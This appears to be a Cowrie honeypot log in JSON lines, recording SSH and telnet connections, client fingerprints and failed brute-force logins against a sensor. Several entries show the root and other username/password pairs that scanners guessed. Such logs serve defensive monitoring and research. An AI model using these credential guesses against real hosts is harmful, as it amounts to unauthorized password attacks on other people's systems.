{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":55076,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e7793f5fa38","protocol":"ssh","message":"New connection: 193.37.70.224:55076 (159.203.135.109:22) [session: 2e7793f5fa38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:32.873893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:32.882279Z","src_ip":"193.37.70.224","session":"2e7793f5fa38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:32.973537Z","src_ip":"193.37.70.224","session":"2e7793f5fa38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cristina","message":"login attempt [root/cristina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:33.247650Z","src_ip":"193.37.70.224","session":"2e7793f5fa38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41962,"dst_ip":"10.17.0.5","dst_port":22,"session":"a056fa2f7c5d","protocol":"ssh","message":"New connection: 193.32.162.145:41962 (10.17.0.5:22) [session: a056fa2f7c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:33.800069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:33.804967Z","src_ip":"193.32.162.145","session":"a056fa2f7c5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:33.904774Z","src_ip":"193.32.162.145","session":"a056fa2f7c5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:34.218836Z","src_ip":"193.32.162.145","session":"a056fa2f7c5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:34.341591Z","src_ip":"193.37.70.224","session":"2e7793f5fa38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:35.322310Z","src_ip":"193.32.162.145","session":"a056fa2f7c5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.06727957725525,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:37.094957Z","src_ip":"192.119.13.58","session":"5db79819168f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33126,"dst_ip":"10.17.0.5","dst_port":23,"session":"da064281d711","protocol":"telnet","message":"New connection: 192.119.13.58:33126 (10.17.0.5:23) [session: da064281d711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:41.690767Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39192,"dst_ip":"10.17.0.5","dst_port":23,"session":"651f997943d8","protocol":"telnet","message":"New connection: 192.119.13.58:39192 (10.17.0.5:23) [session: 651f997943d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:43.079410Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":43414,"dst_ip":"159.203.135.109","dst_port":22,"session":"c07a0d24cebb","protocol":"ssh","message":"New connection: 185.236.22.41:43414 (159.203.135.109:22) [session: c07a0d24cebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:44.953388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:44.958353Z","src_ip":"185.236.22.41","session":"c07a0d24cebb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:45.083807Z","src_ip":"185.236.22.41","session":"c07a0d24cebb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555","message":"login attempt [root/555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:45.472989Z","src_ip":"185.236.22.41","session":"c07a0d24cebb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":16086,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ba5a92e4296","protocol":"ssh","message":"New connection: 158.178.141.16:16086 (10.17.0.5:22) [session: 6ba5a92e4296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:46.586935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:46.591686Z","src_ip":"158.178.141.16","session":"6ba5a92e4296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:46.596353Z","src_ip":"185.236.22.41","session":"c07a0d24cebb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:46.800906Z","src_ip":"158.178.141.16","session":"6ba5a92e4296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aardvark","message":"login attempt [root/aardvark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:47.667905Z","src_ip":"158.178.141.16","session":"6ba5a92e4296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.98385214805603,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:47.953461Z","src_ip":"192.119.13.58","session":"0b25719eb9a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59474,"dst_ip":"10.17.0.5","dst_port":23,"session":"68e75a193477","protocol":"telnet","message":"New connection: 192.119.13.58:59474 (10.17.0.5:23) [session: 68e75a193477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:48.167301Z"}
{"eventid":"cowrie.session.closed","duration":51.2610981464386,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:48.562228Z","src_ip":"192.119.13.58","session":"8cd395b59dde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":56854,"dst_ip":"159.203.135.109","dst_port":22,"session":"61fa57ef3061","protocol":"ssh","message":"New connection: 89.108.118.91:56854 (159.203.135.109:22) [session: 61fa57ef3061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:48.696584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:48.706369Z","src_ip":"89.108.118.91","session":"61fa57ef3061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:48.867162Z","src_ip":"89.108.118.91","session":"61fa57ef3061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:48.878168Z","src_ip":"158.178.141.16","session":"6ba5a92e4296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kamilla","message":"login attempt [root/kamilla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:49.410631Z","src_ip":"89.108.118.91","session":"61fa57ef3061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.16722226142883,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:50.038831Z","src_ip":"192.119.13.58","session":"fb059c2a21fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:50.555386Z","src_ip":"89.108.118.91","session":"61fa57ef3061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":42506,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e89a392038f","protocol":"ssh","message":"New connection: 81.9.145.130:42506 (10.17.0.5:22) [session: 2e89a392038f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:52.252037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:52.257050Z","src_ip":"81.9.145.130","session":"2e89a392038f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:52.370096Z","src_ip":"81.9.145.130","session":"2e89a392038f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"juliano","message":"login attempt [root/juliano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:52.850725Z","src_ip":"81.9.145.130","session":"2e89a392038f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:53.967629Z","src_ip":"81.9.145.130","session":"2e89a392038f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.86766481399536,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:54.305932Z","src_ip":"192.119.13.58","session":"df03f9035d2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57024,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f3881093f1d","protocol":"telnet","message":"New connection: 192.119.13.58:57024 (10.17.0.5:23) [session: 3f3881093f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:54.808012Z"}
{"eventid":"cowrie.session.closed","duration":50.570812463760376,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:54.903644Z","src_ip":"192.119.13.58","session":"e1f5a05e9ede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.28839564323425,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:56.336134Z","src_ip":"192.119.13.58","session":"043fcab0c884","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.433192014694214,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:56.785903Z","src_ip":"192.119.13.58","session":"9984193c4371","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37620,"dst_ip":"10.17.0.5","dst_port":23,"session":"9049f458d5d7","protocol":"telnet","message":"New connection: 192.119.13.58:37620 (10.17.0.5:23) [session: 9049f458d5d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:56.837575Z"}
{"eventid":"cowrie.session.closed","duration":41.0290412902832,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:01.541350Z","src_ip":"192.119.13.58","session":"c3892800a76a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.47218298912048,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:04.787908Z","src_ip":"192.119.13.58","session":"9ec5060be927","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37598,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e3d38ac6f75","protocol":"telnet","message":"New connection: 192.119.13.58:37598 (10.17.0.5:23) [session: 5e3d38ac6f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:05.988176Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45422,"dst_ip":"10.17.0.5","dst_port":23,"session":"20cf15f7a3a7","protocol":"telnet","message":"New connection: 192.119.13.58:45422 (10.17.0.5:23) [session: 20cf15f7a3a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:08.017880Z"}
{"eventid":"cowrie.session.closed","duration":39.53805947303772,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:08.547896Z","src_ip":"192.119.13.58","session":"f5191219daf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52720,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9d6e876e73c","protocol":"telnet","message":"New connection: 192.119.13.58:52720 (10.17.0.5:23) [session: a9d6e876e73c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:10.670515Z"}
{"eventid":"cowrie.session.closed","duration":43.87376618385315,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:11.684946Z","src_ip":"192.119.13.58","session":"30a6288699b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34120,"dst_ip":"10.17.0.5","dst_port":23,"session":"258d7de7c7b6","protocol":"telnet","message":"New connection: 192.119.13.58:34120 (10.17.0.5:23) [session: 258d7de7c7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:12.990584Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36602,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f0d5da07167","protocol":"telnet","message":"New connection: 192.119.13.58:36602 (10.17.0.5:23) [session: 1f0d5da07167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:13.779964Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46924,"dst_ip":"10.17.0.5","dst_port":23,"session":"31cd105900b9","protocol":"telnet","message":"New connection: 192.119.13.58:46924 (10.17.0.5:23) [session: 31cd105900b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:16.870828Z"}
{"eventid":"cowrie.session.closed","duration":36.73932766914368,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:46:18.429973Z","src_ip":"192.119.13.58","session":"da064281d711","protocol":"telnet"}
